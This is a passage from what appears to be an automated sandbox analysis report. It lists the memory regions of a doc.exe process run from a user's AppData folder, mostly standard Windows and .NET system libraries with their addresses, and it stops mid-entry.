[0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e957" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2771 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2772 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2773 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2774 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2775 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2776 start_va = 0x140000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 2777 start_va = 0x240000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2778 start_va = 0x1360000 end_va = 0x1401fff monitored = 1 entry_point = 0x13d26f2 region_type = mapped_file name = "doc.exe" filename = "\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe") Region: id = 2779 start_va = 0x776e0000 end_va = 0x77888fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2780 start_va = 0x778c0000 end_va = 0x77a3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2781 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2782 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2783 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2784 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2785 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2786 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2787 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2788 start_va = 0xc0000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2789 start_va = 0x74b70000 end_va = 0x74b77fff monitored = 0 entry_point = 0x74b720f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2790 start_va = 0x74b80000 end_va = 0x74bdbfff monitored = 0 entry_point = 0x74bbf9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2791 start_va = 0x74be0000 end_va = 0x74c1efff monitored = 0 entry_point = 0x74c0e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2792 start_va = 0x774c0000 end_va = 0x775defff monitored = 0 entry_point = 0x774d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2793 start_va = 0x772b0000 end_va = 0x773bffff monitored = 0 entry_point = 0x772c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2794 start_va = 0x774c0000 end_va = 0x775defff monitored = 0 entry_point = 0x774d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2795 start_va = 0x774c0000 end_va = 0x775defff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000774c0000" filename = "" Region: id = 2796 start_va = 0x775e0000 end_va = 0x776d9fff monitored = 0 entry_point = 0x775fa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2797 start_va = 0x775e0000 end_va = 0x776d9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000775e0000" filename = "" Region: id = 2798 start_va = 0x280000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 2799 start_va = 0x67950000 end_va = 0x67999fff monitored = 1 entry_point = 0x67952e54 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 2800 start_va = 0x772b0000 end_va = 0x773bffff monitored = 0 entry_point = 0x772c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2801 start_va = 0x773e0000 end_va = 0x77426fff monitored = 0 entry_point = 0x773e74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2808 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2809 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2810 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2811 start_va = 0x3d0000 end_va = 0x436fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2812 start_va = 0x440000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2813 start_va = 0x510000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 2814 start_va = 0x77180000 end_va = 0x7721ffff monitored = 0 entry_point = 0x771949e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2815 start_va = 0x76b90000 end_va = 0x76c3bfff monitored = 0 entry_point = 0x76b9a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2816 start_va = 0x77490000 end_va = 0x774a8fff monitored = 0 entry_point = 0x77494975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2827 start_va = 0x769e0000 end_va = 0x76acffff monitored = 0 entry_point = 0x769f0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2828 start_va = 0x75410000 end_va = 0x7546ffff monitored = 0 entry_point = 0x7542a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2829 start_va = 0x75400000 end_va = 0x7540bfff monitored = 0 entry_point = 0x754010e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2830 start_va = 0x70000 end_va = 0xaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 2831 start_va = 0x678c0000 end_va = 0x6794cfff monitored = 1 entry_point = 0x678d2860 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 2832 start_va = 0x73430000 end_va = 0x73432fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 2833 start_va = 0x76850000 end_va = 0x768a6fff monitored = 0 entry_point = 0x76869ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2834 start_va = 0x76270000 end_va = 0x762fffff monitored = 0 entry_point = 0x76286343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2835 start_va = 0x766d0000 end_va = 0x767cffff monitored = 0 entry_point = 0x766eb6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2836 start_va = 0x77890000 end_va = 0x77899fff monitored = 0 entry_point = 0x778936a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2837 start_va = 0x76300000 end_va = 0x7639cfff monitored = 0 entry_point = 0x76333fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2848 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2849 start_va = 0x640000 end_va = 0x7c7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 2850 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2851 start_va = 0x77430000 end_va = 0x7748ffff monitored = 0 entry_point = 0x7744158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2852 start_va = 0x77050000 end_va = 0x7711bfff monitored = 0 entry_point = 0x7705168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2853 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2854 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2855 start_va = 0x7d0000 end_va = 0x950fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 2856 start_va = 0x1410000 end_va = 0x280ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001410000" filename = "" Region: id = 2857 start_va = 0x440000 end_va = 0x4dbfff monitored = 1 entry_point = 0x4b26f2 region_type = mapped_file name = "doc.exe" filename = "\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe") Region: id = 2858 start_va = 0x500000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 2859 start_va = 0x440000 end_va = 0x4dbfff monitored = 1 entry_point = 0x4b26f2 region_type = mapped_file name = "doc.exe" filename = "\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe") Region: id = 2872 start_va = 0x73e30000 end_va = 0x73e38fff monitored = 0 entry_point = 0x73e31220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 2873 start_va = 0x65f40000 end_va = 0x666eefff monitored = 1 entry_point = 0x65f5d0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 2874 start_va = 0x65f40000 end_va = 0x666eefff monitored = 1 entry_point = 0x65f5d0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 2875 start_va = 0x65f40000 end_va = 0x666eefff monitored = 1 entry_point = 0x65f5d0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 2876 start_va = 0x65ee0000 end_va = 0x65ef3fff monitored = 0 entry_point = 0x65eeac00 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\SysWOW64\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\syswow64\\vcruntime140_clr0400.dll") Region: id = 2877 start_va = 0x65d50000 end_va = 0x65dfafff monitored = 0 entry_point = 0x65de5f20 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\SysWOW64\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\syswow64\\ucrtbase_clr0400.dll") Region: id = 2880 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 2881 start_va = 0xa0000 end_va = 0xaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 2882 start_va = 0x80000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 2897 start_va = 0x90000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2898 start_va = 0xb0000 end_va = 0xbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 2899 start_va = 0x280000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 2900 start_va = 0x2d0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 2901 start_va = 0x290000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 2902 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 2903 start_va = 0x2b0000 end_va = 0x2b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 2904 start_va = 0x2c0000 end_va = 0x2c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 2905 start_va = 0x960000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 2906 start_va = 0xab0000 end_va = 0xbdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 2915 start_va = 0x450000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 2916 start_va = 0xcf0000 end_va = 0xdeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cf0000" filename = "" Region: id = 2917 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2918 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2919 start_va = 0x2810000 end_va = 0x480ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 2920 start_va = 0x510000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 2921 start_va = 0x600000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 2926 start_va = 0x9b0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 2927 start_va = 0xa70000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 2928 start_va = 0xf00000 end_va = 0xffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f00000" filename = "" Region: id = 2929 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 2930 start_va = 0x4a0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 2931 start_va = 0x11b0000 end_va = 0x12affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011b0000" filename = "" Region: id = 2932 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 2943 start_va = 0x4810000 end_va = 0x4adefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2944 start_va = 0x647c0000 end_va = 0x65bcafff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll") Region: id = 2948 start_va = 0x763d0000 end_va = 0x7652bfff monitored = 0 entry_point = 0x7641ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2949 start_va = 0x73d60000 end_va = 0x73ddffff monitored = 0 entry_point = 0x73d737c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 2953 start_va = 0xab0000 end_va = 0xb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 2954 start_va = 0xba0000 end_va = 0xbdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ba0000" filename = "" Region: id = 2955 start_va = 0xbe0000 end_va = 0xcbefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000be0000" filename = "" Region: id = 2956 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2961 start_va = 0x60db0000 end_va = 0x60db2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 2962 start_va = 0x5f910000 end_va = 0x5f998fff monitored = 1 entry_point = 0x5f911130 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll") Region: id = 2963 start_va = 0x76ad0000 end_va = 0x76b5efff monitored = 0 entry_point = 0x76ad3fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2964 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 2966 start_va = 0x63d60000 end_va = 0x647b4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\2c3c912ea8f058f9d04c4650128feb3f\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\2c3c912ea8f058f9d04c4650128feb3f\\system.ni.dll") Region: id = 2968 start_va = 0x61810000 end_va = 0x619b2fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\f7568d7f1b9d356f64779b4c0927cfb3\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\f7568d7f1b9d356f64779b4c0927cfb3\\system.drawing.ni.dll") Region: id = 2969 start_va = 0x5d750000 end_va = 0x5e5b5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\c9a4cbc00f690a9e3cddfc400f6e85bb\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\c9a4cbc00f690a9e3cddfc400f6e85bb\\system.windows.forms.ni.dll") Region: id = 2972 start_va = 0x637b0000 end_va = 0x63d53fff monitored = 1 entry_point = 0x63d3b692 region_type = mapped_file name = "system.windows.forms.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.windows.forms\\v4.0_4.0.0.0__b77a5c561934e089\\system.windows.forms.dll") Region: id = 2973 start_va = 0x4e0000 end_va = 0x4e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 2979 start_va = 0x62d20000 end_va = 0x63537fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\31fae3290fad30c31c98651462d22724\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\31fae3290fad30c31c98651462d22724\\system.core.ni.dll") Region: id = 2980 start_va = 0x63c50000 end_va = 0x63d54fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Configuration\\96f7edb07b12303f0ec2595c7f3778c7\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.configuration\\96f7edb07b12303f0ec2595c7f3778c7\\system.configuration.ni.dll") Region: id = 2986 start_va = 0x625a0000 end_va = 0x62d13fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml\\15af16d373cf0528cb74fc73d365fdbf\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.xml\\15af16d373cf0528cb74fc73d365fdbf\\system.xml.ni.dll") Region: id = 2989 start_va = 0x4f0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 2990 start_va = 0x65c40000 end_va = 0x65c52fff monitored = 1 entry_point = 0x65c4d900 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll") Region: id = 2991 start_va = 0x4ae0000 end_va = 0x4db1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sortdefault.nlp") Region: id = 2992 start_va = 0x755b0000 end_va = 0x761f9fff monitored = 0 entry_point = 0x75631601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 2997 start_va = 0x5b0000 end_va = 0x5b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 2998 start_va = 0x740a0000 end_va = 0x740aafff monitored = 0 entry_point = 0x740a1992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 2999 start_va = 0x1000000 end_va = 0x116ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001000000" filename = "" Region: id = 3011 start_va = 0x65f20000 end_va = 0x65f36fff monitored = 0 entry_point = 0x65f235fa region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 3012 start_va = 0x73bc0000 end_va = 0x73bd6fff monitored = 0 entry_point = 0x73bc3573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 3013 start_va = 0x5c0000 end_va = 0x5fbfff monitored = 0 entry_point = 0x5c128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3014 start_va = 0x5c0000 end_va = 0x5fbfff monitored = 0 entry_point = 0x5c128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3015 start_va = 0x5c0000 end_va = 0x5fbfff monitored = 0 entry_point = 0x5c128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3016 start_va = 0x5c0000 end_va = 0x5fbfff monitored = 0 entry_point = 0x5c128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3017 start_va = 0x5c0000 end_va = 0x5fbfff monitored = 0 entry_point = 0x5c128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3018 start_va = 0x73b80000 end_va = 0x73bbafff monitored = 0 entry_point = 0x73b8128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3035 start_va = 0xdf0000 end_va = 0xe71fff monitored = 0 entry_point = 0xdf19a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 3039 start_va = 0xdf0000 end_va = 0xe71fff monitored = 0 entry_point = 0xdf19a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 3040 start_va 